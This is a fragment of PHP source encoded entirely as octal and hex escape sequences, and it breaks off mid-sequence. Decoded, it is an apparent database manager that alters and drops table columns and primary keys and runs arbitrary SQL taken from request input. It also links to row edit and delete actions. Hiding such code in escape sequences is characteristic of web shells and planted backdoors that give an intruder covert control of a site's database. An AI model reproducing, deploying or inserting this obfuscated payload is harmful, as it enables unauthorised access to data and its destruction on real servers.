\12\74\164\144\x20\141\x6c\151\147\x6e\x3d\x63\x65\x6e\x74\x65\162\76\74\x69\x6e\160\165\x74\40\x74\x79\x70\145\75\x74\x65\x78\x74\40\156\141\155\x65\75\x64\145\x66\x61\165\154\164\x5f\166\141\154\x75\x65\40\x3c\77\40\151\x66\50\x20\x24\146\151\x65\x6c\144\144\145\146\141\x75\x6c\x74\40\41\x3d\x20\42\x22\40\x29\40\145\143\150\157\40\x22\x76\x61\x6c\165\145\75\x24\x66\x69\x65\154\x64\144\145\146\141\165\154\x74\42\73\x3f\76\x3e\x3c\x2f\x74\144\76\12\x3c\x74\x64\40\x61\154\151\147\x6e\x3d\x63\145\156\x74\145\x72\76\x3c\x69\156\x70\165\x74\x20\x74\171\x70\145\75\143\150\145\143\153\142\x6f\x78\x20\x6e\141\x6d\145\x3d\x61\x75\x74\157\137\151\x6e\143\162\145\155\145\x6e\x74\40\x76\141\x6c\165\x65\75\x22\101\125\124\x4f\137\x49\x4e\103\x52\105\x4d\x45\116\x54\42\x20\74\77\x20\151\x66\x28\x20\44\x66\x69\x65\x6c\144\145\x78\x74\x72\x61\x20\x3d\x3d\40\42\141\x75\164\x6f\x5f\x69\x6e\x63\162\145\155\145\x6e\x74\42\x20\x29\x20\x65\x63\x68\x6f\x20\x22\143\x68\145\x63\153\145\x64\x22\x3b\77\76\x3e\74\x2f\x74\x64\x3e\12\74\164\x64\40\x61\154\x69\147\156\x3d\x63\145\156\x74\x65\x72\x3e\x3c\151\x6e\160\165\x74\x20\164\171\160\x65\75\x63\x68\x65\x63\x6b\x62\x6f\x78\40\x6e\x61\155\145\x3d\160\162\x69\155\141\162\x79\137\153\x65\171\x20\x76\141\154\165\145\75\x22\x50\x52\x49\x4d\x41\x52\131\40\x4b\x45\x59\42\x20\74\77\x20\x69\146\50\40\x24\146\151\145\x6c\x64\x6b\x65\x79\40\75\x3d\40\x22\x50\x52\111\x22\x20\x29\40\x65\143\150\157\40\42\143\x68\x65\x63\153\x65\144\x22\73\x3f\x3e\x3e\x3c\57\x74\144\x3e\xa\74\57\164\x72\x3e\xa\74\x2f\x74\x61\x62\x6c\x65\x3e\xa\12\x3c\160\x3e\xa\12\74\77\xa\151\146\50\x20\x24\x63\155\x64\40\x3d\75\40\x22\x61\144\144\x22\40\x29\12\40\x20\145\x63\x68\x6f\x20\42\74\151\156\160\x75\x74\40\164\x79\160\x65\x3d\x73\165\x62\x6d\151\164\x20\166\141\x6c\x75\145\x3d\47\101\x64\144\x20\x46\151\145\154\x64\47\x3e\x5c\156\x22\x3b\xa\x65\154\x73\145\x20\151\x66\x28\x20\44\143\x6d\144\40\75\75\40\42\145\x64\151\164\42\40\x29\xa\40\x20\145\x63\x68\x6f\x20\42\x3c\151\x6e\160\x75\x74\40\164\171\160\145\x3d\x73\x75\142\155\x69\x74\x20\166\x61\x6c\x75\x65\x3d\47\x45\x64\x69\164\x20\x46\151\x65\x6c\144\x27\76\x5c\156\42\73\12\145\x63\x68\157\x20\x22\74\151\156\x70\x75\x74\x20\164\x79\160\x65\75\x62\165\x74\x74\157\156\x20\166\141\x6c\x75\145\75\103\x61\x6e\143\145\x6c\x20\157\x6e\x43\154\151\x63\153\x3d\47\x68\x69\x73\x74\157\162\171\x2e\x62\x61\x63\x6b\50\51\47\x3e\134\x6e\x22\x3b\12\x65\x63\150\x6f\x20\42\74\x2f\x66\157\x72\155\76\134\156\x22\x3b\12\x7d\12\12\x66\x75\x6e\143\x74\x69\157\156\x20\155\x61\x6e\141\147\x65\106\151\x65\154\144\137\x73\x75\142\x6d\x69\x74\50\40\44\x63\x6d\144\40\x29\x20\x7b\12\147\154\x6f\x62\141\x6c\40\x24\155\x79\163\161\x6c\110\141\156\x64\x6c\145\x2c\x20\44\x64\x62\156\141\x6d\145\54\x20\x24\164\141\x62\x6c\145\x6e\141\155\x65\x2c\40\x24\157\x6c\x64\137\156\x61\155\145\x2c\x20\x24\156\141\x6d\x65\54\40\44\164\171\x70\145\x2c\40\x24\120\110\x50\x5f\x53\105\114\x46\x2c\40\x24\x71\x75\x65\x72\171\x53\164\x72\x2c\x20\44\145\x72\162\x4d\x73\x67\x2c\12\x20\x20\44\115\x2c\40\44\x44\x2c\x20\x24\165\x6e\x73\151\x67\156\145\x64\x2c\40\x24\172\145\x72\157\x66\151\154\x6c\54\x20\x24\142\x69\156\x61\x72\171\x2c\40\x24\156\x6f\164\x5f\x6e\x75\x6c\154\54\x20\x24\x64\x65\146\141\x75\x6c\x74\x5f\x76\141\x6c\x75\x65\54\40\44\x61\165\164\157\x5f\151\x6e\x63\162\x65\x6d\x65\156\164\x2c\40\x24\x70\x72\x69\x6d\141\x72\x79\x5f\x6b\145\x79\54\x20\x24\166\x61\154\165\x65\x6c\x69\x73\x74\73\xa\12\151\x66\50\x20\44\x63\x6d\144\40\x3d\x3d\40\42\141\x64\144\42\x20\x29\12\40\x20\44\x71\165\x65\x72\x79\x53\x74\162\x20\75\40\x22\101\114\124\x45\x52\x20\x54\101\102\114\105\40\44\x74\141\142\x6c\x65\156\x61\x6d\x65\40\101\104\104\x20\44\156\141\155\145\40\x22\x3b\12\145\154\163\x65\40\x69\146\x28\x20\44\x63\155\x64\40\75\x3d\40\42\x65\x64\151\164\x22\x20\x29\12\x20\40\x24\x71\x75\145\x72\x79\x53\164\x72\x20\75\40\x22\101\114\x54\x45\x52\40\124\x41\102\x4c\105\40\x24\164\141\x62\154\145\x6e\x61\155\145\40\103\110\x41\116\x47\x45\40\x24\x6f\154\x64\137\156\141\x6d\x65\x20\44\x6e\x61\x6d\x65\x20\x22\x3b\xa\xa\x69\x66\50\40\x24\115\x20\x21\75\40\x22\42\40\x29\xa\x20\40\151\146\50\x20\x24\104\40\x21\75\40\42\x22\40\x29\xa\40\x20\x24\x71\x75\x65\162\171\x53\x74\162\40\56\75\x20\x22\x24\164\171\160\x65\x28\44\x4d\54\x24\x44\x29\x20\x22\x3b\xa\x20\40\145\154\x73\x65\xa\x20\40\44\x71\165\145\162\x79\123\x74\162\40\x2e\75\x20\42\x24\x74\171\160\145\50\44\115\x29\40\42\x3b\xa\x65\x6c\x73\145\40\x69\x66\50\40\x24\x76\x61\154\165\x65\x6c\x69\x73\x74\40\41\x3d\x20\42\42\x20\x29\40\173\12\40\40\x24\x76\x61\x6c\x75\145\154\x69\163\x74\40\75\40\163\164\162\151\160\163\154\x61\x73\x68\145\x73\x28\x20\x24\x76\x61\154\x75\145\154\151\163\x74\x20\x29\x3b\12\x20\40\x24\161\x75\145\162\171\123\164\162\40\56\75\40\x22\44\x74\x79\x70\145\x28\x24\166\x61\x6c\x75\x65\154\151\x73\x74\51\40\42\x3b\12\x7d\40\145\x6c\163\145\xa\40\x20\44\x71\165\145\x72\171\x53\x74\x72\40\56\x3d\40\x22\44\x74\171\x70\145\40\x22\x3b\12\12\x24\x71\x75\x65\162\171\x53\164\x72\x20\56\x3d\x20\x22\x24\165\x6e\x73\151\x67\x6e\x65\144\x20\44\x7a\x65\162\157\146\x69\154\154\40\44\x62\x69\156\x61\162\171\40\42\x3b\12\12\151\146\x28\40\44\144\x65\x66\x61\x75\154\x74\x5f\x76\x61\x6c\x75\145\40\x21\75\x20\42\x22\x20\51\xa\x20\40\44\161\165\x65\162\171\x53\x74\162\40\x2e\x3d\40\42\104\x45\106\101\125\114\x54\40\x27\x24\144\x65\146\141\x75\154\x74\137\x76\141\x6c\x75\x65\x27\40\42\x3b\xa\12\44\161\165\x65\x72\171\123\x74\162\x20\x2e\x3d\x20\42\x24\156\157\x74\137\x6e\165\x6c\x6c\x20\x24\141\x75\164\157\137\x69\156\143\x72\145\155\x65\x6e\x74\x22\73\12\12\155\171\163\161\154\137\163\145\154\x65\x63\x74\137\x64\x62\50\x20\x24\144\142\x6e\x61\x6d\x65\54\40\44\x6d\171\163\x71\x6c\x48\141\x6e\144\154\x65\x20\51\73\xa\155\171\x73\x71\x6c\137\161\165\x65\x72\x79\x28\x20\44\161\x75\x65\162\x79\123\164\x72\54\x20\x24\155\171\163\x71\154\110\141\156\144\x6c\x65\40\x29\73\xa\44\145\162\162\x4d\163\147\40\x3d\x20\x6d\x79\x73\161\x6c\x5f\145\162\x72\x6f\x72\x28\x29\x3b\12\xa\x2f\x2f\40\x6b\x65\171\40\x63\150\141\x6e\x67\145\xa\x24\x6b\145\171\103\150\x61\156\147\x65\40\x3d\40\x66\141\154\x73\145\73\xa\44\162\x65\x73\x75\x6c\x74\40\x3d\x20\x6d\x79\163\x71\x6c\x5f\x71\x75\x65\162\171\50\x20\42\x53\x48\117\127\40\x4b\x45\x59\x53\40\x46\122\x4f\115\x20\x24\164\141\142\154\x65\156\x61\155\x65\x22\x20\x29\73\xa\x24\160\x72\151\155\141\162\x79\x20\x3d\40\x22\x22\x3b\xa\x77\150\151\154\145\x28\40\x24\x72\x6f\x77\x20\75\x20\155\x79\163\161\154\137\146\145\164\143\150\137\x61\162\x72\141\171\50\x24\x72\145\x73\x75\x6c\x74\51\x20\x29\12\x20\x20\151\146\50\x20\x24\162\x6f\x77\133\x22\x4b\145\x79\137\156\x61\x6d\x65\x22\135\x20\75\x3d\x20\x22\x50\x52\111\x4d\x41\x52\131\x22\x20\51\40\173\12\x20\x20\151\x66\x28\x20\x24\162\157\167\133\103\157\154\165\x6d\156\137\x6e\x61\155\145\135\40\x3d\x3d\40\44\156\x61\155\145\x20\51\xa\40\40\x20\x20\44\x6b\x65\x79\x43\x68\141\156\147\x65\x20\x3d\40\x74\x72\165\145\73\12\40\40\x65\154\x73\145\12\x20\x20\40\40\44\x70\x72\151\155\x61\x72\x79\x20\x2e\x3d\40\42\54\x20\44\x72\157\167\133\103\157\x6c\165\x6d\156\137\156\141\155\145\x5d\42\x3b\12\x20\40\175\12\151\146\x28\40\x24\x70\162\x69\155\x61\x72\x79\x5f\153\145\171\x20\75\x3d\40\x22\x50\122\111\115\x41\122\x59\40\x4b\x45\131\42\40\x29\40\173\12\x20\40\x24\160\x72\151\155\141\x72\171\x20\x2e\x3d\40\42\54\x20\x24\x6e\141\x6d\145\x22\73\12\40\x20\x24\x6b\x65\171\x43\x68\x61\x6e\x67\x65\x20\75\x20\41\x24\153\145\171\x43\150\141\156\x67\145\73\12\175\xa\x24\160\162\151\155\x61\162\171\40\x3d\x20\x73\165\x62\163\164\x72\x28\x20\x24\x70\162\x69\155\141\x72\x79\54\40\x32\x20\51\73\xa\151\146\x28\x20\44\153\x65\x79\x43\x68\141\156\147\145\40\x3d\75\x20\164\162\165\x65\40\x29\x20\173\xa\40\40\44\161\x20\75\x20\42\101\x4c\x54\x45\x52\40\124\101\102\x4c\105\40\44\164\141\142\154\x65\x6e\x61\155\145\40\104\x52\x4f\120\x20\120\122\111\115\x41\122\x59\40\113\x45\x59\x22\73\12\40\40\x6d\171\x73\161\x6c\137\161\165\145\162\171\x28\x20\44\161\x20\x29\x3b\xa\40\x20\44\x71\x75\145\x72\171\123\164\x72\40\56\x3d\40\42\x3c\142\162\76\x5c\156\42\40\56\40\x24\161\73\xa\40\40\44\x65\x72\x72\x4d\163\x67\x20\56\x3d\x20\42\74\x62\162\x3e\134\x6e\x22\40\x2e\x20\155\171\163\x71\x6c\x5f\x65\x72\162\157\x72\x28\51\73\12\x20\40\x24\161\40\x3d\x20\42\101\x4c\124\105\x52\x20\x54\x41\x42\x4c\x45\x20\x24\164\x61\x62\x6c\x65\x6e\141\x6d\x65\x20\101\x44\104\x20\x50\122\111\x4d\x41\122\131\x20\113\105\x59\50\40\x24\160\162\x69\x6d\x61\x72\x79\40\x29\42\73\xa\x20\x20\x6d\x79\163\161\x6c\x5f\161\x75\x65\162\171\50\x20\x24\x71\x20\x29\x3b\xa\x20\40\x24\161\165\145\162\x79\123\x74\162\x20\56\75\40\x22\74\142\x72\x3e\x5c\x6e\x22\40\56\40\44\x71\x3b\xa\x20\x20\x24\x65\x72\x72\115\163\147\x20\x2e\75\x20\42\74\x62\162\x3e\x5c\x6e\x22\x20\56\40\x6d\x79\x73\x71\x6c\137\145\x72\162\157\162\50\x29\73\xa\175\xa\12\166\x69\x65\x77\123\143\x68\x65\x6d\141\x28\x29\x3b\xa\175\12\xa\146\x75\x6e\143\164\x69\x6f\x6e\x20\144\x72\x6f\x70\x46\151\x65\154\x64\50\51\40\x7b\12\147\x6c\x6f\x62\x61\x6c\40\x24\155\x79\x73\161\154\x48\141\156\x64\x6c\x65\x2c\x20\44\x64\x62\x6e\141\155\145\54\40\44\164\x61\x62\x6c\x65\x6e\x61\x6d\x65\54\x20\44\146\151\x65\154\144\156\x61\x6d\x65\x2c\x20\44\x50\110\x50\x5f\x53\105\x4c\x46\x2c\x20\44\161\165\x65\162\171\x53\x74\162\x2c\40\x24\x65\x72\162\115\x73\147\x3b\12\xa\44\x71\165\x65\x72\x79\123\164\162\40\x3d\40\x22\101\114\124\x45\x52\40\x54\101\102\114\x45\x20\x24\x74\141\x62\x6c\145\x6e\x61\155\x65\x20\104\122\x4f\x50\40\x43\x4f\x4c\125\x4d\x4e\x20\x24\146\x69\x65\154\x64\156\141\155\145\42\x3b\12\x6d\x79\x73\x71\154\x5f\x73\x65\x6c\x65\143\x74\137\x64\x62\x28\40\44\x64\142\156\x61\155\145\54\x20\x24\x6d\171\163\161\154\x48\x61\x6e\x64\154\145\x20\x29\x3b\12\155\171\163\x71\154\137\x71\165\145\162\171\50\x20\x24\161\165\145\x72\171\x53\164\x72\40\54\40\44\x6d\x79\163\x71\x6c\110\141\x6e\144\154\145\x20\x29\73\12\44\145\162\162\115\163\147\x20\75\x20\x6d\x79\x73\161\x6c\137\145\x72\162\x6f\x72\50\x29\x3b\xa\12\x76\151\x65\167\x53\x63\x68\x65\155\141\50\x29\x3b\12\x7d\12\12\x66\x75\156\x63\x74\x69\157\x6e\x20\x76\x69\145\167\x44\x61\x74\x61\50\40\44\161\165\x65\162\171\x53\x74\162\40\x29\40\173\12\x67\154\157\142\x61\154\40\x24\x6d\x79\x73\x71\x6c\x48\x61\x6e\144\x6c\x65\x2c\40\x24\144\x62\156\141\x6d\145\54\40\44\x74\141\x62\154\x65\x6e\x61\155\x65\x2c\40\x24\x50\x48\x50\137\123\x45\114\x46\54\40\44\145\162\x72\x4d\163\x67\54\x20\x24\160\141\x67\145\54\x20\44\x72\157\167\x70\145\x72\x70\141\147\x65\54\40\44\x6f\x72\144\145\162\x62\171\73\xa\xa\145\143\150\157\40\x22\74\150\61\76\x44\x61\x74\x61\x20\151\156\x20\124\x61\142\x6c\145\x3c\x2f\150\61\76\134\x6e\x22\73\xa\x69\x66\x28\40\44\x74\x61\x62\154\x65\156\141\155\x65\x20\x21\75\40\x22\x22\40\51\12\40\x20\x65\143\x68\157\40\42\74\160\x20\143\154\x61\x73\163\75\x6c\x6f\x63\141\x74\151\157\156\x3e\x24\x64\x62\x6e\x61\155\x65\40\46\147\x74\73\x20\44\164\141\142\154\145\x6e\x61\x6d\145\74\x2f\x70\76\x5c\x6e\42\73\xa\x65\x6c\163\x65\12\x20\40\145\143\x68\x6f\x20\x22\74\160\x20\143\154\141\x73\163\75\x6c\157\x63\x61\x74\151\x6f\x6e\x3e\44\x64\x62\x6e\141\155\x65\74\x2f\x70\x3e\134\x6e\42\73\12\12\x24\x71\x75\145\162\x79\x53\164\x72\40\75\40\163\x74\x72\x69\x70\163\x6c\x61\163\150\x65\163\50\40\x24\x71\x75\145\x72\x79\123\x74\x72\40\51\x3b\12\x69\146\50\40\x24\x71\165\x65\x72\x79\x53\x74\x72\x20\75\x3d\40\x22\x22\40\x29\40\x7b\xa\x20\40\x24\x71\165\x65\x72\x79\123\164\162\x20\x3d\40\x22\x53\x45\x4c\x45\103\124\40\x2a\40\x46\x52\117\115\40\44\164\x61\142\x6c\x65\x6e\x61\155\x65\42\x3b\xa\x20\40\151\146\50\40\x24\157\162\x64\x65\162\142\x79\40\41\x3d\x20\x22\x22\x20\51\xa\x20\x20\x24\161\165\x65\x72\171\x53\164\x72\x20\56\75\40\x22\x20\x4f\122\104\x45\x52\40\x42\x59\x20\44\x6f\162\144\145\162\x62\x79\x22\73\xa\40\x20\145\x63\150\x6f\x20\42\74\141\x20\150\162\145\x66\x3d\x27\x24\120\110\120\137\x53\105\x4c\106\77\141\x63\164\151\157\x6e\75\141\x64\x64\104\x61\164\141\46\x64\x62\x6e\141\x6d\x65\x3d\x24\x64\142\x6e\x61\155\x65\x26\x74\x61\142\x6c\x65\x6e\x61\155\145\x3d\x24\164\141\x62\154\x65\156\x61\155\x65\x27\x3e\x41\x64\x64\x20\104\x61\164\141\74\x2f\141\76\x20\x7c\x20\134\156\42\73\12\40\40\145\x63\150\x6f\x20\x22\74\141\x20\x68\x72\145\146\x3d\47\44\120\x48\120\x5f\123\x45\114\106\77\141\x63\164\151\x6f\x6e\75\x76\x69\145\167\x53\143\x68\x65\155\x61\46\x64\x62\x6e\x61\x6d\145\x3d\44\144\x62\156\x61\155\145\46\x74\141\142\154\145\x6e\x61\x6d\145\x3d\44\x74\x61\x62\x6c\x65\x6e\141\x6d\x65\47\x3e\x53\143\150\145\x6d\x61\x3c\57\141\x3e\134\156\42\x3b\12\x7d\12\xa\44\160\x52\145\x73\x75\x6c\x74\x20\x3d\40\x6d\171\163\161\154\137\x64\x62\x5f\161\165\x65\162\x79\50\x20\44\x64\x62\x6e\141\155\145\x2c\x20\44\161\x75\x65\x72\x79\x53\164\162\40\x29\73\xa\x24\x65\162\x72\x4d\x73\147\x20\75\40\x6d\171\x73\161\x6c\x5f\145\162\x72\x6f\x72\x28\51\73\12\12\44\107\x4c\x4f\x42\101\x4c\123\x5b\x71\165\x65\162\x79\x53\164\x72\135\x20\x3d\40\x24\161\165\145\x72\171\x53\x74\x72\73\12\xa\x69\x66\50\40\44\160\122\x65\x73\x75\154\164\40\x3d\x3d\x20\146\141\x6c\x73\x65\40\51\40\x7b\xa\40\40\145\x63\x68\x6f\x51\165\145\x72\x79\x52\x65\x73\x75\154\x74\x28\51\x3b\12\x20\40\162\x65\x74\165\162\156\x3b\xa\175\xa\x69\146\50\x20\x24\160\122\145\163\x75\x6c\x74\x20\75\75\40\x31\40\51\x20\173\12\x20\x20\44\x65\x72\162\x4d\x73\147\x20\75\x20\42\123\x75\x63\143\x65\163\163\x22\x3b\12\x20\40\x65\143\150\x6f\x51\165\x65\x72\x79\x52\x65\x73\165\x6c\x74\50\51\73\12\40\x20\162\145\164\x75\162\156\73\xa\175\12\12\x65\143\150\157\x20\42\x3c\x68\x72\76\x5c\x6e\x22\x3b\xa\xa\44\x72\x6f\x77\40\75\40\155\171\x73\x71\154\x5f\156\x75\155\137\x72\157\167\163\x28\40\44\160\x52\145\x73\165\x6c\164\x20\x29\x3b\12\x24\143\157\x6c\x20\75\40\155\171\163\161\154\x5f\x6e\165\x6d\x5f\146\x69\145\154\144\163\50\40\44\160\122\x65\x73\x75\154\x74\40\x29\x3b\xa\12\151\146\x28\40\x24\162\x6f\167\x20\x3d\75\x20\x30\x20\x29\40\173\xa\40\x20\145\143\150\157\x20\42\116\x6f\x20\x44\141\164\141\40\x45\170\x69\163\x74\x21\42\73\xa\x20\x20\162\145\164\x75\162\156\x3b\xa\175\12\12\151\146\x28\x20\x24\x72\157\x77\160\145\x72\160\141\x67\145\40\75\75\40\x22\x22\x20\x29\x20\x24\162\x6f\x77\160\x65\162\x70\141\x67\145\x20\x3d\x20\62\x30\73\12\x69\x66\50\40\x24\160\141\x67\x65\40\75\75\x20\42\x22\40\51\40\x24\160\141\147\x65\40\x3d\x20\x30\x3b\12\145\154\x73\145\x20\x24\x70\141\x67\145\x2d\x2d\73\12\155\171\x73\161\x6c\137\144\x61\x74\141\x5f\x73\x65\145\x6b\x28\40\44\160\122\x65\x73\x75\x6c\x74\54\x20\44\x70\141\147\145\x20\x2a\x20\44\x72\x6f\167\160\x65\162\x70\x61\147\x65\40\51\x3b\xa\xa\x65\x63\150\157\x20\x22\x3c\x74\141\142\154\145\40\x63\145\154\x6c\163\x70\141\x63\151\x6e\147\x3d\x31\40\143\x65\x6c\154\x70\x61\144\144\151\156\147\75\x32\x3e\x5c\156\x22\x3b\xa\145\143\150\157\x20\42\74\164\162\76\x5c\156\42\x3b\xa\146\157\162\50\x20\x24\x69\x20\x3d\x20\x30\73\40\x24\151\40\x3c\x20\x24\143\157\154\73\40\44\151\x2b\53\x20\51\40\173\12\40\40\44\146\x69\145\x6c\144\x20\75\x20\x6d\x79\x73\161\154\137\x66\145\164\143\x68\x5f\x66\x69\x65\x6c\144\50\40\x24\160\x52\x65\x73\x75\x6c\164\x2c\40\44\x69\x20\51\x3b\xa\x20\40\x65\143\150\157\x20\42\x3c\164\150\x3e\x22\73\xa\40\40\x65\x63\x68\x6f\40\x22\74\141\x20\x68\162\x65\x66\75\47\x24\120\110\x50\x5f\x53\105\x4c\106\77\141\x63\164\x69\157\x6e\75\x76\151\x65\x77\104\x61\x74\141\x26\x64\142\x6e\141\x6d\x65\75\44\x64\x62\156\x61\x6d\145\46\x74\141\142\x6c\x65\x6e\x61\155\x65\x3d\x24\x74\x61\142\154\x65\156\141\155\145\46\157\x72\144\x65\x72\x62\x79\75\x22\x2e\x24\146\151\x65\154\144\x2d\x3e\156\141\155\145\x2e\42\47\x3e\42\56\44\x66\151\145\154\x64\x2d\x3e\x6e\141\155\x65\56\x22\74\x2f\141\76\134\x6e\x22\73\12\40\40\x65\143\x68\157\40\x22\74\x2f\164\x68\x3e\134\x6e\x22\x3b\xa\175\xa\145\x63\x68\x6f\x20\42\74\x74\150\x20\x63\157\154\x73\160\x61\x6e\x3d\62\76\101\143\164\151\x6f\156\x3c\57\x74\x68\x3e\134\156\42\73\xa\145\x63\150\157\x20\x22\74\57\164\162\76\134\x6e\42\73\12\12\146\157\162\50\x20\x24\x69\x20\x3d\x20\x30\x3b\x20\x24\151\40\x3c\40\44\162\157\x77\160\145\x72\x70\x61\x67\x65\73\x20\44\151\x2b\x2b\40\51\x20\x7b\xa\x20\x20\44\x72\157\x77\101\162\162\141\171\40\75\x20\x6d\171\163\161\154\137\x66\x65\x74\x63\150\x5f\x72\157\x77\50\x20\x24\160\122\x65\163\x75\154\x74\40\x29\x3b\xa\40\40\151\x66\50\x20\x24\162\x6f\167\x41\x72\x72\x61\x79\x20\75\75\40\x66\141\154\163\145\x20\x29\40\142\162\145\x61\x6b\x3b\xa\40\40\x65\x63\150\x6f\40\x22\x3c\x74\x72\76\x5c\x6e\x22\73\12\40\40\44\x6b\145\171\x20\x3d\40\x22\42\73\12\x20\x20\146\x6f\162\x28\40\x24\x6a\40\x3d\x20\x30\73\40\x24\152\x20\74\40\x24\x63\x6f\154\x3b\40\44\152\53\x2b\40\x29\40\x7b\12\40\x20\44\x64\141\x74\x61\x20\75\x20\x24\x72\x6f\x77\x41\162\x72\141\x79\x5b\x24\152\135\x3b\xa\12\x20\40\44\146\x69\x65\154\144\40\x3d\40\x6d\171\x73\x71\x6c\137\146\145\164\143\x68\137\x66\x69\145\x6c\144\x28\40\x24\x70\122\x65\x73\165\154\x74\x2c\x20\x24\x6a\40\51\x3b\12\x20\x20\x69\146\50\x20\44\x66\151\x65\x6c\x64\x2d\76\160\x72\151\x6d\141\162\x79\137\153\x65\171\x20\x3d\75\40\61\40\x29\12\40\x20\40\40\44\153\x65\x79\x20\56\x3d\x20\x22\46\x22\40\56\40\44\x66\x69\x65\x6c\144\x2d\x3e\x6e\x61\x6d\x65\40\x2e\x20\x22\x3d\x22\40\56\x20\x24\x64\141\x74\x61\73\xa\xa\x20\x20\151\x66\x28\x20\163\x74\162\154\x65\156\50\40\44\x64\141\164\141\x20\x29\40\76\40\62\60\x20\x29\xa\x20\x20\40\x20\x24\x64\x61\x74\x61\x20\75\40\x73\x75\x62\163\164\x72\x28\40\44\144\141\x74\x61\x2c\x20\x30\x2c\x20\62\60\x20\51\x20\56\40\42\56\x2e\56\x22\x3b\xa\x20\40\44\144\141\x74\141\x20\75\x20\x68\x74\x6d\x6c\163\x70\145\143\151\x61\154\x63\x68\x61\162\x73\50\40\44\x64\141\x74\141\40\51\x3b\12\x20\x20\145\143\150\157\x20\x22\x3c\x74\x64\76\x5c\x6e\42\x3b\12\40\40\x65\x63\150\x6f\40\42\x24\x64\x61\164\141\134\156\x22\73\xa\x20\40\145\143\150\x6f\x20\x22\74\x2f\164\x64\x3e\x5c\x6e\42\73\xa\40\x20\175\xa\xa\x20\40\x69\x66\x28\40\x24\x6b\145\x79\x20\x3d\x3d\x20\x22\42\40\51\12\40\x20\x65\x63\150\x6f\40\x22\74\x74\x64\40\143\x6f\154\163\x70\141\156\75\x32\76\x6e\x6f\40\113\145\171\x3c\57\164\x64\76\134\x6e\x22\x3b\12\x20\x20\145\154\x73\x65\x20\x7b\12\x20\x20\x65\143\150\157\x20\42\74\164\144\x3e\x3c\x61\40\150\x72\x65\146\x3d\47\x24\x50\x48\120\x5f\123\x45\x4c\106\77\x61\x63\x74\x69\157\x6e\x3d\145\144\x69\164\104\141\x74\x61\46\144\x62\x6e\141\x6d\x65\75\44\x64\x62\x6e\x61\x6d\145\46\x74\x61\x62\x6c\145\156\141\x6d\145\x3d\x24\164\141\x62\154\145\156\141\155\x65\x24\x6b\145\171\x27\x3e\105\144\x69\x74\74\x2f\x61\x3e\x3c\x2f\164\144\76\x5c\x6e\42\73\12\40\40\x65\143\150\157\40\x22\74\x74\x64\x3e\74\141\x20\x68\x72\145\146\x3d\x27\x24\120\110\x50\x5f\x53\x45\x4c\x46\x3f\141\143\164\151\x6f\156\75\144\145\x6c\145\x74\145\104\x61\164\x61\x26\x64\x62\156\141\155\x65\75\x24\144\x62\156\x61\155\145\46\x74\141\142\x6c\145\156\141\x6d\145\75\44\164\141\142\x6c\x65\x6e\x61\x6d\145\44\x6b\145\x79\47\x20\157\x6e\103\x6c\x69\x63\153\x3d\134\x22\162\x65\x74\165\x72\x6e\40\143\157\x6e\146\x69\x72\155\50\x27\x44\x65\x6c\145\164\x65\40\x52\x6f\167\77\47\x29\134\x22\x3e\x44\x65\154\145\x74\x65\74\x2f\x61\x3e\74\57\x74\x64\76\134\156\42\73\xa\40\40\x7d\xa\x20\40\x65\143\150\157\x20\42\74\57\164\162\x3e\134\156\x22\73\12\175\xa\x65\143\x68\x6f\40\42\x3c\57\x74\141\142\154\x65\76\134\x6e\x22\73\xa\xa\145\143\x68\x6f\x20\42\74\x66\x6f\156\164\x20\x73\151\172\145\75\62\x3e\x5c\156\42\73\12\x65\143\150\157\40\42\x3c\146\157\162\155\x20\x61\x63\164\x69\x6f\x6e\x3d\47\44\x50\110\x50\137\x53\105\114\106\x3f\x61\x63\164\x69\x6f\x6e\x3d\166\x69\145\x77\104\x61\x74\141\x26\144\x62\x6e\141\155\145\x3d\44\144\x62\x6e\x61\155\145\x26\164\x61\142\x6c\x65\x6e\141\x6d\145\75\x24\164\141\x62\x6c\x65\156\141\x6d\x65\47\x20\x6d\x65\164\x68\x6f\x64\75\x70\157\x73\164\x3e\134\156\x22\73\xa\x65\x63\150\157\40\x22\74\x66\157\156\164\x20\x63\x6f\154\x6f\162\75\147\162\x65\145\x6e\76\134\x6e\x22\73\xa\145\143\x68\x6f\40\50\x24\x70\x61\147\x65\53\61\51\x2e\42\57\x22\56\50\151\156\x74\51\50\44\x72\157\x77\x2f\44\162\x6f\x77\160\x65\162\x70\x61\147\145\x2b\x31\x29\56\42\40\160\141\147\145\42\73\12\145\x63\150\x6f\40\x22\x3c\57\146\157\156\x74\x3e\134\156\42\x3b\12\145\143\x68\157\x20\x22\40\x7c\x20\x22\73\12\x69\x66\x28\x20\x24\160\141\x67\145\40\x3e\x20\x30\x20\51\40\x7b\xa\40\40\x65\143\150\157\x20\x22\74\141\x20\x68\x72\x65\x66\75\x27\44\x50\110\x50\x5f\123\105\114\106\x3f\141\x63\x74\x69\x6f\x6e\75\166\151\x65\x77\x44\x61\x74\141\x26\144\x62\156\141\x6d\x65\75\x24\x64\142\x6e\x61\155\x65\46\164\141\x62\154\145\156\141\x6d\x65\x3d\44\164\x61\x62\x6c\145\156\141\155\x65\x26\x70\141\x67\145\x3d\42\56\x28\x24\x70\x61\x67\x65\51\73\12\x20\40\x69\x66\50\40\44\157\x72\144\x65\x72\142\x79\40\x21\x3d\40\42\42\x20\x29\12\x20\x20\x65\143\150\x6f\40\42\x26\157\x72\144\145\162\x62\x79\x3d\44\157\162\144\145\162\x62\171\x22\x3b\12\x20\x20\145\x63\x68\157\x20\42\x27\x3e\120\162\145\x76\74\57\x61\76\134\x6e\42\x3b\12\175\x20\x65\x6c\x73\145\xa\x20\40\145\143\x68\157\40\42\x50\162\145\x76\x22\x3b\xa\x65\143\150\x6f\40\x22\40\174\x20\42\73\xa\x69\x66\x28\x20\x24\160\x61\x67\145\40\x3c\x20\x28\x24\x72\157\167\x2f\x24\162\x6f\167\160\x65\x72\x70\141\x67\x65\x29\x2d\x31\40\51\40\x7b\12\40\x20\x65\143\150\157\x20\42\x3c\141\40\x68\162\145\x66\x3d\x27\x24\120\x48\120\x5f\123\x45\114\106\77\x61\x63\x74\151\157\x6e\x3d\166\x69\145\x77\104\141\164\x61\46\x64\x62\156\141\x6d\x65\x3d\x24\x64\x62\x6e\x61\155\x65\x26\164\141\x62\x6c\x65\156\141\x6d\x65\x3d\x24\164\x61\x62\154\145\x6e\x61\x6d\x65\46\160\x61\147\145\75\x22\56\50\44\x70\141\x67\145\53\x32\x29\73\xa\40\x20\x69\x66\x28\x20\44\157\162\x64\x65\162\x62\171\40\41\x3d\x20\x22\42\40\51\xa\40\40\145\x63\x68\x6f\40\42\x26\x6f\162\x64\x65\x72\142\171\x3d\44\x6f\x72\x64\145\x72\x62\171\x22\73\xa\x20\x20\x65\143\150\157\40\42\4